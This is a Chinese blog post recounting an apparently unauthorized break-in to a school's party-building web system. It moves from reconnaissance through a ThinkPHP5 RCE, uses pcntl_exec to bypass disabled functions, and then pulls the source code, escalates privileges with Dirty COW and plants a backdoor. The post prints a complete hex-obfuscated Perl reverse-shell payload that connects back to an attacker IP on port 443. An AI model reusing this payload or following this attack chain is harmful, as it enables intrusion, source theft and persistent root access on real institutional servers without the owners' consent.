Fork me on GitHub

从getshell到提权

从getshell到提权

一、起因

学校推出新的党建系统,之前党建系统还参与开发,后来因为一些原因没有开发,主要想看看这届工作室的学弟、学妹代码水平,把源码撸下来审计一下,工作室用git开发的,记着上一篇文章是通过Githack把源码一把梭,结果这次再用Githack时撸不下来了,就有了下文了。
Alt text

二、信息搜集

通过御剑扫到phpinfo.php页面。
得到网站根目录:/www/wwwroot/xxx/xxx/public
允许访问远程url:allow_url_fopen On
disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
还扫到一个/admin.php文件,如下,发现是FastAdmin开发的
Alt text

三、RCE

通过查阅资料发现:FastAdmin – 基于ThinkPHP5和Bootstrap的极速后台开发框架,这就联想到最近爆出的tp5的rce洞,直接找Payload直接打。
Alt text
读取数据库密码,数据库能外连,但是用户不是root,不能udf提权这条提权的路就放弃了:
Alt text

四、反弹shell

因为禁用了好多执行命令的函数,导致大马、菜刀的部分功能都不能使,看是否能绕过disable_functions执行命令,查阅资料发现pcntl_exec()函数没禁用而且服务器支持这个函数:
Alt text
反弹shell的payload:

<?php 

/*******************************
 *查看phpinfo编译参数--enable-pcntl
 *作者 Spider
 *nc -vvlp 443
********************************/
 
$ip = 'xx.xx.xx.xx';
$port = '443';
$file = '/tmp/bc.pl';
 
header("content-Type: text/html; charset=gb2312");
 
if(function_exists('pcntl_exec')) {
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('写入'.$file.'失败');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
        echo '不支持pcntl扩展';
}
?>

将反弹shell的payload写入服务器上时,通过浏览器上传这么长的代码就会上传内容不全,上面提到allow_url_fopen On开启,可以用file_get_contents()函数访问远程代码,将payload上传到我们服务器上,通过如下代码写入服务器中。
Alt text
访问a.php,本地监听443端口得到shell
Alt text
直接把源码打包撸下来。
Alt text

五、提权

a.弱口令

弹回来的shell权限是www,查看端口:
Alt text
发现9999端口开着liunx宝塔面板,直接试试默认口令、数据库的密码都登陆不进去,查了些宝塔面板提权也没找到好的案例,所以这条路放弃了。

b.劫持PATH

利用suid提权,发现一个ksu命令,尴尬的是分析好久这个命令,并没有向下面文章写的setuid(0)提权的代码,提权失败:
Alt text
参考这篇文章

c.SUID

情况都试了,也失败了。
参考这篇文章

d.fakesu

尴尬的发现,www用户是nologin用户,不存在自己的家目录,更没有.bash_profile这个文件,就不能劫持命令了,这条路也失败了。其他也找了第三方应用比如gitlab,pgsql什么的,都试了试没成功。
Alt text
参考这篇文章

e.脏牛

看了下内核,是centos 7的。本地装了一个和它版本一样的系统,本地复现成功,将编译好的代码传到服务器上,最终提权成功。
Alt text

f.linux后门

Alt text
代码撸下来,有空对代码做下审计再发文章。
最后希望大佬们能讨论下,Linux提权还有什么好的方法吗,集思广益?

posted @ 2018-12-18 21:13  Afant1  阅读(6023)  评论(0编辑  收藏  举报